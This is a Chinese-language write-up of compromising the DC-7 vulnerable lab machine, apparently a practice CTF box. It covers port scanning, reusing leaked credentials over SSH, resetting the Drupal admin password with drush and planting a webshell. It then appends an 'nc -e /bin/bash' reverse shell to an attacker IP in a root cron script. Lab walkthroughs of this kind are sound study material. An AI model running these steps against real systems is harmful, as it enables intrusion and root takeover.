靶机页面
信息收集
获取DC7的IP地址
通过查看到DC7的MAC地址为00:0C:29:04:46:86,然后用arp-scan扫描我本机网段内存活的主机,发现DC7的MAC地址对应的IP为192.168.175.160
靶机的web页面
扫描DC7开启的端口
┌──(kali💋kali)-[~] └─$ sudo nmap -Pn -A -p- -sS -sC -T4 192.168.175.160 [sudo] password for kali: Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower. Starting Nmap 7.91 ( https://nmap.org ) at 2023-04-10 10:42 EDT Nmap scan report for 192.168.175.160 Host is up (0.00083s latency). Not shown: 65533 closed ports PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) | ssh-hostkey: | 2048 d0:02:e9:c7:5d:95:32:ab:10:99:89:84:34:3d:1e:f9 (RSA) | 256 d0:d6:40:35:a7:34:a9:0a:79:34:ee:a9:6a:dd:f4:8f (ECDSA) |_ 256 a8:55:d5:76:93:ed:4f:6f:f1:f7:a1:84:2f:af:bb:e1 (ED25519) 80/tcp open http Apache httpd 2.4.25 ((Debian)) |_http-generator: Drupal 8 (https://www.drupal.org) | http-robots.txt: 22 disallowed entries (15 shown) | /core/ /profiles/ /README.txt /web.config /admin/ | /comment/reply/ /filter/tips /node/add/ /search/ /user/register/ | /user/password/ /user/login/ /user/logout/ /index.php/admin/ |_/index.php/comment/reply/ |_http-server-header: Apache/2.4.25 (Debian) |_http-title: Welcome to DC-7 | D7 MAC Address: 00:0C:29:04:46:86 (VMware) Device type: general purpose Running: Linux 3.X|4.X OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4 OS details: Linux 3.2 - 4.9 Network Distance: 1 hop Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel TRACEROUTE HOP RTT ADDRESS 1 0.83 ms 192.168.175.160 OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 12.56 seconds
端口 | 状态 | 服务 | 版本 |
---|---|---|---|
22 | open | ssh | OpenSSH 7.4p1 Debian 10+deb9u6 (protocol 2.0) |
80 | open | http | Apache httpd 2.4.25 ((Debian)) |
web应用指纹信息
OS | Linux 3.X |
---|---|
Service | Apache/2.4.25 (Debian) |
X-Powered-By | PHP |
CMS | Drupal 8 |
droopescan扫描报告
┌──(kali💋kali)-[~/tools/droopescan] └─$ ./droopescan scan drupal -u http://192.168.175.160 [+] No plugins found. [+] Themes found: startupgrowth_lite http://192.168.175.160/themes/startupgrowth_lite/ http://192.168.175.160/themes/startupgrowth_lite/LICENSE.txt [+] Possible version(s): 8.7.0 8.7.0-alpha1 8.7.0-alpha2 8.7.0-beta1 8.7.0-beta2 8.7.0-rc1 8.7.1 8.7.10 8.7.11 8.7.12 8.7.13 8.7.14 8.7.2 8.7.3 8.7.4 8.7.5 8.7.6 8.7.7 8.7.8 8.7.9 [+] Possible interesting urls found: Default admin - http://192.168.175.160/user/login [+] Scan finished (0:07:41.838978 elapsed)
渗透流程
SSH账户名密码获取
提示不要进行无用的爆破,跳出框框,然后看了左下角有个@DC7USER很新奇,之前的Drupal没有这个,然后去必应搜索,发现有文件则继续深入
发现有config.php,敏感文件,点进去看看发现数据库账户名dc7user和密码MdR3xOgB7#dW
但是发现好像用不着数据库,然后跑去登录后台也不行
然后试着SSH连接,发现可以
ssh dc7user@192.168.175.160
目录下有一个文件夹backups和一个文件mbox
查看mbox,发现一个计划任务
定位到opt/scripts/backups.sh
试着想把想反弹shell的命令写进去然后执行反弹,但是发现该用户对它没有写的权限,不可行
只能从其他方式入手,看看drush命令或者gpg命令
gpg命令是用来加密文件
drush是一个简化了创建和管理Drupal8网站的命令行工具
drush常用命令介绍
后台登录
查看admin的用户信息
drush user-information admin
可以使用drush命令修改密码
drush upwd admin --password="123456"
修改成功,登录后台
反弹shell
在content下Add content的basic page里面可以编辑内容,可以在里面写进webshell然后连接,但是它仅支持html格式的,不信这么大的CMS功能这么小,百度看到它可以支持php格式,但需要PHP解释器,可以在EXtend模块里面安装
https://ftp.drupal.org/files/projects/php-8.x-1.0.tar.gz
安装成功
接下来把冰蝎的webshell写进去,冰蝎连接
在冰蝎里面操作,修改backups.sh文件,把反弹shell的命令写进去
nc -e /bin/bash 192.168.175.144 1444
为什么这样做呢,因为以root的身份去执行这个定时任务,正好反弹shell的话就是root权限
监听等待反弹
成功反弹
查看flag